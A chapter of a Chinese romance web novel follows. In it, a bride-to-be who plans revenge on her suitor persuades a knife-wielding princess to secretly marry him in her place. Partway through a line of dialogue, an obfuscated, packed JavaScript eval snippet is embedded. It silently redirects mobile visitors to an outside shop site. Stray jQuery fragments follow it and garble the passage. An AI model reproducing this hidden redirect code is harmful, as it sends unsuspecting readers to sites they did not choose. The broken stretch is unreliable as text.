镜中人穿上嫁衣的样子很美,比以往任何时候都要美,她看着镜子,目光里有几分欣赏,开始悄悄想象自己嫁人时的模样……在万众祝福中走向那个要白头到老的意中人……应该是开心的?感念的?满怀期许的?
都说新嫁娘是最美的、最幸福的,可那种幸福她未曾感受过,也似乎已经失去了感受它的能力。
若是从前的她,又怎能想象,这已经是自己第四次穿嫁衣了。
嫁衣是美丽而隆重的,代表着某种圣洁的托付,却被她用来报仇了。万众祝福她不曾要,白首到老也不曾期许,只要向他报复。
以君琰现在的样子,或许他愿意对她好了,可是……
她霍地站了起来。
不,夭夭,你不能嫁给他……你怎么能嫁给他?
哪怕没有阿娘的那番话,她也知道,他们之间仍有血仇,就算现在她对他的情绪稍有缓和,也不代表她就能接受嫁给他了。最多,就是不再在嫁他那天捅他了而已。
一拍两散各自天涯,应该是两人最好的结局,再两相折磨下去,大概不会有什么结果,不互相伤害就很好了,为什么他就是不肯退让呢?为什么偏要如此执着于自己呢?又为什么这份执着,不在她心死之前?
如此美丽的新嫁娘,今生大概不会属于任何人了。她看着镜中的自己,不无惆怅地想。
……那就属于自己吧!
自己属于自己。
洛夭夭,夭夭……
桃之夭夭,灼灼其华,之子于归,宜其室家。
这个名字原是对她最美好的祝福,到头来却成了一个反讽。
她看着镜中人儿苦涩一笑,转身,正欲脱下嫁衣……
耳边忽传来异响,抬头一看,一个人影从窗户跃了进来,转瞬一把小刀抵在她脖颈!
“下人们都被我放倒了,听说沈阁主也出去了,沈月,这回没人来救你了!”
这熟悉的声音——是阿尔汉公主!
“你……”刀抵得她动弹不得,“你想干什么?”
阿尔汉看着她一身红嫁衣就觉得碍眼,冷笑:“你觉得呢?沈大小姐,本公主记得没错的话你就要第四次嫁给他了吧,这一次你又准备怎么对他?你的脸呢?”
“这与你无关。”
“我喜欢他!”阿尔汉尖着嗓子道:“却看着他一次次被你嚯嚯,这一次,我要帮他永除后患!”
“你要杀了我?”
“没错!”
“哦。”
阿尔汉讶于她的面不改色,“呵,你不害怕?”
沈月从容道:“害怕你就能不杀了吗?”
“呵,当然不。你若是害怕求饶,我必然杀你。可你竟然不怕,这倒让我有些兴趣了。”
阿尔汉没下重手,只是手里拿着刀,环绕着她走了起来,刀片轻轻在她脖颈处划过一道弧形的血迹。“我就是搞不明白,他到底喜欢你哪里?!”
等了一会儿见她不答话,阿尔汉又失了耐心,“问你话呢!”
“无可奉告。”
“你不能说点别的吗?!”她忽看上了她的红嫁衣,“你还是想嫁给他的吧?不然为什么试衣服?真是个虚伪的人!”
“我并不想嫁给他。”
“胡说!”
“我不仅不想嫁,还在想这一次应该怎么面对……正好,公主你来了。”她目光幽幽,忽心生一个主意,“公主,你真的想嫁给九公子?”
“废话!”
“那好。”她笑了笑,“我们做个交换怎么样?”
“什么交换?”
“你先把刀放下。”
“……休要耍诈!”
“公主,你的武功远胜于我,下人们又都被放倒了,你随时都可以杀了我,我还耍什么诈呢?”
阿尔汉想了想,这才放下刀。“那你倒是说来听听!”
“很简单,我们各取所需。”沈月道:“你答应现在饶我一命,并以后不再来找我的麻烦,我便——让你代替我,嫁给景王。”
阿尔汉的眼睛睁大了,显然来了兴趣,“你这个主意倒是不错!”
“是吧?”沈月幽幽笑着:“只要你替我嫁了,礼成之后,他便是想甩你也甩不掉了。”
对方闻言心情更是雀跃,瞬间没了杀意,“那你倒是说说,怎样让我替你而不被发现?”
“这个简单。”她上前对她附耳几句。
阿尔汉的眼睛更亮了,“这样好,就这么办!那你到时候可不准反悔!”
“定然是不悔的。”
“不过我还是不明白……你们之间到底是怎么回事?”
“实不相瞒,他喜欢我,但我与他有仇。所以公主你放心,我这辈子,都不可能嫁给他的。”沈月趁机接着道:“身份、地位都能与他相配的,只有公主你。到时今上与贵国长公主、公主您与景王殿下两对佳偶天成,燕楚结百年之好,自是好上加好、万民祝福,乃两国百年第一盛事也。”
阿尔汉被她一番话说得心花怒放,神色一下子和方才截然不同了:“没想到你还是个知趣的!嘿嘿,之前是我态度不好,你别放在心上!这回我若能顺利嫁给他,你这个朋友,我交定了!”
“在下何德何能可以和公主做朋友,不敢当。我这么做,既是为了成全公主一片痴心,也是为两国大局想。其实景王这个人并非完全不通情理,公主既这般倾慕于他,假以时日,相信他能够懂得您的真心。我们中原有句古话,叫‘精诚所至,金石为开’。”
沈月越说越上头了,心中情绪复杂,嘴上却莫名流畅……阿尔汉若有所思地颔首,“‘精诚所至,金石为开’……噢。”
“我的这套嫁衣,到时还得给公主穿上,我看我们身量差不多,应该刚好合适吧?”她看了眼外头的天色,“时辰应该不早了,公主迷倒阁中下人,药效有多久?”
“大概不到半个时辰吧……”
“哎呀,那您得快点走了,不然若是给人发现,我们这件事就没法做了。”
“噢!”她如梦初醒,赶忙开溜,跃出窗户还不忘回头笑道:“那你一定要记得啊,别忘了约定的时间!”
“公主小心
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044515|142718||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
!”
阿尔汉走了。
屋内又变得空荡荡的,她自顾自把嫁衣脱了下来叠好,换上自己的常服……过了一会儿,她听见静儿的声音:“小姐恕罪!奴婢刚才不知道怎么就睡着了。小姐有什么要吩咐的吗?”
“哦,没有。”她仍站在嫁衣跟前。
静儿察言观色,“小姐要试嫁衣吗?”
“不用了。”她的神色淡淡的,语气也淡淡的,静儿见她似是情绪不佳,也不再多问,只是忽然想到了上次团圆节逛灯会时候买的两只面具,便回头拿了出来,问:“小姐,这两个面具还要吗?”
沈月扭头看过去——一只大灰狼,一只小兔子。
脑海中一时浮现出那夜他将她逼到角落时的样子,那时他说——
“三生七世,永坠阎罗——只要,夭夭高兴。”
静儿见她发怔,不敢轻易走开,只是一直等在那里。
看小姐的神情应该是很喜欢这两个面具吧,可是为什么她半天都不说话呢?
大灰狼不知道,一旦他真的毁掉了小兔子某些视若珍宝的东西,无论日后再怎么弥补,他们之间都回不到最初的样子了……可他还是想吃掉兔子,因为不吃的话,他就会死。
“哦,扔了吧。”
——静儿等了许久,却是听见这样一句。
小姐淡然地转身去了窗边,看着外面的夕阳,没有再说别的。
沈月也不知自己方才的做法,到底是对是错……
一部分原因是为了保命,那个阿尔汉公主方才是真的有可能杀了她。另一部分原因呢?
君琰要是发现新娘被换成了别人,一定会气死的。这算不算是又在报复他?
说了要与他两清的呢?不再纠缠的呢?
却原来,自己也做不到吗?
她的脑中乱乱的,现在无法理解他为什么不喜欢容貌美功夫好地位高的阿尔汉公主,过去也无法理解他为什么要以利用自己为代价去讨张王妃的好。从始至终,他对她来说都像一个难解的谜,她总觉得他还有很多事没告诉自己,哪怕他现在对她已经足够讨好,讨好到已经让他变得有些面目全非了……
不过那人骨子里也还是从前的他,霸道,傲慢,喜欢强人所难。
君琰,你既说要执念于我一直到死,这一次我倒要你用实际行动来向我证明……你的话,究竟是真是假。
从前我太相信你了,你说什么我就信什么,现在再想让我信你,没那么容易了,你所有那些天崩地裂的誓言,都要在我面前兑现到行动中,我便考虑勉强信上你一两分。若做不到,你我各自东西,我绝无留恋。
婚期将近……
君琰此刻还在另一边琢磨着沈月的心思,并不知钦差此刻正从京城南下而来,赶往他所在的位置。
现在她对他已经不那么抵触了,还为他医治了两个月,所以这回应该不会再像前面三回那样了……嘴上说什么要两清,他却不信她当真舍得!总之,只要她还愿意给他机会,他必将全力以赴,讨她的好。
——他心甘情愿。